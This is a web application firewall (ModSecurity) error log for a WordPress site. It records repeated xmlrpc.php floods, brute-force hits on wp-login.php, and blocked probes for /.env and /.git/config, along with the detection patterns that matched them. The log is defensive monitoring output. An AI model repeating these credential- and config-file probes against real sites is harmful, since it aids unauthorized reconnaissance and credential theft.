[Fri Dec 19 01:29:19.243929 2025] [:error] [pid 65011:tid 65051] [client 173.239.236.118:50533] [client 173.239.236.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ579qlBhOfWMNHM-7FDgAAAUY"]
[Fri Dec 19 01:29:21.248225 2025] [:error] [pid 37418:tid 37437] [client 173.239.236.21:42823] [client 173.239.236.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ58a0VAcRIm10OnozBmgAAAJE"]
[Fri Dec 19 01:29:23.393888 2025] [:error] [pid 45739:tid 45800] [client 173.239.236.3:21097] [client 173.239.236.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ58-IfOvWlLwqW0X3qcgAAAQU"]
[Fri Dec 19 01:29:25.587108 2025] [:error] [pid 45739:tid 45814] [client 173.239.236.3:25277] [client 173.239.236.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ59eIfOvWlLwqW0X3qewAAARM"]
[Fri Dec 19 01:29:27.666875 2025] [:error] [pid 45737:tid 45746] [client 173.239.236.39:40355] [client 173.239.236.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ591AGdb8SXm6CLHiV8gAAAAU"]
[Fri Dec 19 01:29:29.516950 2025] [:error] [pid 37418:tid 37436] [client 173.239.236.1:61001] [client 173.239.236.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5-a0VAcRIm10OnozBqQAAAJA"]
[Fri Dec 19 01:29:31.393170 2025] [:error] [pid 45738:tid 45779] [client 173.239.236.5:50263] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5-3nw52b7ekJTIU3DcQAAAMs"]
[Fri Dec 19 01:29:33.227744 2025] [:error] [pid 37418:tid 37425] [client 173.239.236.182:55743] [client 173.239.236.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5_a0VAcRIm10OnozBsAAAAIU"]
[Fri Dec 19 01:29:35.234015 2025] [:error] [pid 45825:tid 45832] [client 173.239.236.149:57509] [client 173.239.236.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5_9ES1ifyzuzFwz8ecwAAAEU"]
[Fri Dec 19 01:29:37.251442 2025] [:error] [pid 45737:tid 45761] [client 173.239.236.178:46235] [client 173.239.236.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6AVAGdb8SXm6CLHiV_wAAABQ"]
[Fri Dec 19 01:29:39.247923 2025] [:error] [pid 65011:tid 65044] [client 173.239.236.231:34407] [client 173.239.236.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6A9qlBhOfWMNHM-7FJgAAAUA"]
[Fri Dec 19 01:29:41.238034 2025] [:error] [pid 45825:tid 45830] [client 173.239.236.215:27353] [client 173.239.236.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6BdES1ifyzuzFwz8efgAAAEM"]
[Fri Dec 19 01:29:43.067211 2025] [:error] [pid 45737:tid 45752] [client 173.239.236.73:54549] [client 173.239.236.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6B1AGdb8SXm6CLHiWDAAAAAs"]
[Fri Dec 19 01:29:45.036316 2025] [:error] [pid 65011:tid 65047] [client 173.239.236.231:46323] [client 173.239.236.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6CdqlBhOfWMNHM-7FLAAAAUM"]
[Fri Dec 19 01:29:47.147625 2025] [:error] [pid 37418:tid 37420] [client 173.239.236.36:26953] [client 173.239.236.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6C60VAcRIm10OnozBtAAAAIA"]
[Fri Dec 19 01:29:48.970030 2025] [:error] [pid 65011:tid 65053] [client 173.239.236.215:43295] [client 173.239.236.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6DNqlBhOfWMNHM-7FLwAAAUg"]
[Fri Dec 19 01:29:51.054719 2025] [:error] [pid 45738:tid 45772] [client 173.239.236.153:35579] [client 173.239.236.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6D3nw52b7ekJTIU3DgAAAAMQ"]
[Fri Dec 19 01:29:52.928270 2025] [:error] [pid 45825:tid 45849] [client 173.239.236.132:57233] [client 173.239.236.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6ENES1ifyzuzFwz8ekQAAAFY"]
[Fri Dec 19 01:29:54.926271 2025] [:error] [pid 45738:tid 45777] [client 173.239.236.224:36173] [client 173.239.236.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6Ennw52b7ekJTIU3DhQAAAMk"]
[Fri Dec 19 01:29:56.760439 2025] [:error] [pid 45825:tid 45829] [client 173.239.236.11:57641] [client 173.239.236.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6FNES1ifyzuzFwz8elQAAAEI"]
[Fri Dec 19 01:29:58.626798 2025] [:error] [pid 37418:tid 37422] [client 173.239.236.176:65283] [client 173.239.236.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6Fq0VAcRIm10OnozBuwAAAII"]
[Fri Dec 19 01:30:00.523754 2025] [:error] [pid 45825:tid 45839] [client 173.239.236.41:23115] [client 173.239.236.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6GNES1ifyzuzFwz8emgAAAEw"]
[Fri Dec 19 01:30:05.192982 2025] [:error] [pid 45739:tid 45810] [client 173.239.236.41:53521] [client 173.239.236.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6HeIfOvWlLwqW0X3qnAAAAQ8"]
[Fri Dec 19 01:30:07.157642 2025] [:error] [pid 37418:tid 37427] [client 173.239.236.73:27013] [client 173.239.236.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6H60VAcRIm10OnozBwwAAAIc"]
[Fri Dec 19 01:30:09.190407 2025] [:error] [pid 45825:tid 45829] [client 173.239.236.21:22811] [client 173.239.236.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6IdES1ifyzuzFwz8euAAAAEI"]
[Fri Dec 19 01:30:11.097047 2025] [:error] [pid 37418:tid 37430] [client 173.239.236.53:62969] [client 173.239.236.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6I60VAcRIm10OnozB2AAAAIo"]
[Fri Dec 19 01:30:13.053807 2025] [:error] [pid 45737:tid 45763] [client 173.239.236.181:29775] [client 173.239.236.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6JVAGdb8SXm6CLHiWIgAAABY"]
[Fri Dec 19 01:30:15.035177 2025] [:error] [pid 37418:tid 37444] [client 173.239.236.39:23945] [client 173.239.236.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6J60VAcRIm10OnozB4AAAAJg"]
[Fri Dec 19 01:30:16.995357 2025] [:error] [pid 45738:tid 45777] [client 173.239.236.163:32993] [client 173.239.236.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6KHnw52b7ekJTIU3DjgAAAMk"]
[Fri Dec 19 01:30:18.956875 2025] [:error] [pid 45738:tid 45789] [client 173.239.236.149:55299] [client 173.239.236.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6Knnw52b7ekJTIU3DkQAAANU"]
[Fri Dec 19 01:30:20.836274 2025] [:error] [pid 45825:tid 45847] [client 173.239.236.61:42897] [client 173.239.236.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6LNES1ifyzuzFwz8exQAAAFQ"]
[Fri Dec 19 01:30:23.091032 2025] [:error] [pid 45737:tid 45749] [client 173.239.236.61:39333] [client 173.239.236.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6L1AGdb8SXm6CLHiWKAAAAAg"]
[Fri Dec 19 01:30:24.898752 2025] [:error] [pid 37418:tid 37437] [client 173.239.236.178:49305] [client 173.239.236.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6MK0VAcRIm10OnozB5QAAAJE"]
[Fri Dec 19 01:30:26.873952 2025] [:error] [pid 45738:tid 45771] [client 173.239.236.142:34599] [client 173.239.236.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6Mnnw52b7ekJTIU3DngAAAMM"]
[Fri Dec 19 01:30:28.847790 2025] [:error] [pid 45825:tid 45839] [client 173.239.236.5:48911] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6NNES1ifyzuzFwz8e0QAAAEw"]
[Fri Dec 19 01:30:30.685907 2025] [:error] [pid 45738:tid 45786] [client 173.239.236.116:21701] [client 173.239.236.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6Nnnw52b7ekJTIU3DogAAANI"]
[Fri Dec 19 01:30:32.562360 2025] [:error] [pid 45738:tid 45784] [client 173.239.236.70:32391] [client 173.239.236.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6OHnw52b7ekJTIU3DpgAAANA"]
[Fri Dec 19 01:30:34.445781 2025] [:error] [pid 45739:tid 45801] [client 173.239.236.181:62203] [client 173.239.236.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6OuIfOvWlLwqW0X3qqgAAAQY"]
[Fri Dec 19 01:30:36.264456 2025] [:error] [pid 45738:tid 45779] [client 173.239.236.5:60003] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ6PHnw52b7ekJTIU3DqAAAAMs"]
[Fri Dec 19 02:41:54.221722 2025] [:error] [pid 65011:tid 65045] [client 170.64.233.87:3760] [client 170.64.233.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aURK8tqlBhOfWMNHM-7YwAAAAUE"]
[Fri Dec 19 02:42:05.411266 2025] [:error] [pid 45737:tid 45760] [client 170.64.233.87:3772] [client 170.64.233.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aURK_VAGdb8SXm6CLHiuJwAAABM"]
[Fri Dec 19 05:51:05.762063 2025] [:error] [pid 64979:tid 64992] [client 216.26.252.41:30341] [client 216.26.252.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.26.252.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUR3ScTf9GnU9RkPziuXoQAAAQs"], referer: https://gigfragments.org/
[Fri Dec 19 05:51:08.871366 2025] [:error] [pid 47035:tid 47045] [client 216.26.252.41:25061] [client 216.26.252.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.26.252.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUR3TIy3wL45ZxTVK_UU3AAAAYg"], referer: https://gigfragments.org/wp-login.php?action=register
[Fri Dec 19 08:33:13.854254 2025] [:error] [pid 62008:tid 62030] [client 111.172.249.49:60333] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUSdSZJCOG7NAlbm_OSjoAAAANM"]
[Fri Dec 19 12:40:30.265523 2025] [:error] [pid 20675:tid 20707] [client 45.128.199.56:58117] [client 45.128.199.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXPrMyJ3XqeDRsbQm8-gAAARM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:40:35.372111 2025] [:error] [pid 20675:tid 20695] [client 45.128.199.56:58117] [client 45.128.199.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXQ7MyJ3XqeDRsbQm9GAAAAQc"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:17.694603 2025] [:error] [pid 20675:tid 20707] [client 45.8.17.101:54471] [client 45.8.17.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXbbMyJ3XqeDRsbQm9pQAAARM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:35.665493 2025] [:error] [pid 20675:tid 20692] [client 45.128.199.42:52921] [client 45.128.199.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXf7MyJ3XqeDRsbQm9zQAAAQQ"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:40.284830 2025] [:error] [pid 20580:tid 20591] [client 45.128.199.66:58889] [client 45.128.199.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXhEmd1op_YdAdgR0IOQAAAEU"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:45.195480 2025] [:error] [pid 20580:tid 20607] [client 45.128.199.66:58889] [client 45.128.199.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.66, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXiUmd1op_YdAdgR0IQQAAAFU"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:54.677242 2025] [:error] [pid 20580:tid 20609] [client 45.128.199.38:47401] [client 45.128.199.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXkkmd1op_YdAdgR0IUQAAAFc"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:41:59.309192 2025] [:error] [pid 20580:tid 20610] [client 45.128.199.38:47401] [client 45.128.199.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTXl0md1op_YdAdgR0IWwAAAFg"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:42:56.707000 2025] [:error] [pid 20580:tid 20600] [client 45.128.199.38:21761] [client 45.128.199.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTX0Emd1op_YdAdgR0JZAAAAE4"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:43:03.714176 2025] [:error] [pid 20580:tid 20594] [client 45.128.199.38:21761] [client 45.128.199.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTX10md1op_YdAdgR0JeAAAAEg"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:43:13.721280 2025] [:error] [pid 20675:tid 20700] [client 45.128.199.182:60663] [client 45.128.199.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTX4bMyJ3XqeDRsbQm_iwAAAQw"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:43:18.741757 2025] [:error] [pid 20675:tid 20703] [client 45.128.199.182:60663] [client 45.128.199.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTX5rMyJ3XqeDRsbQm_mAAAAQ8"], referer: https://gigfragments.org/wp-admin/
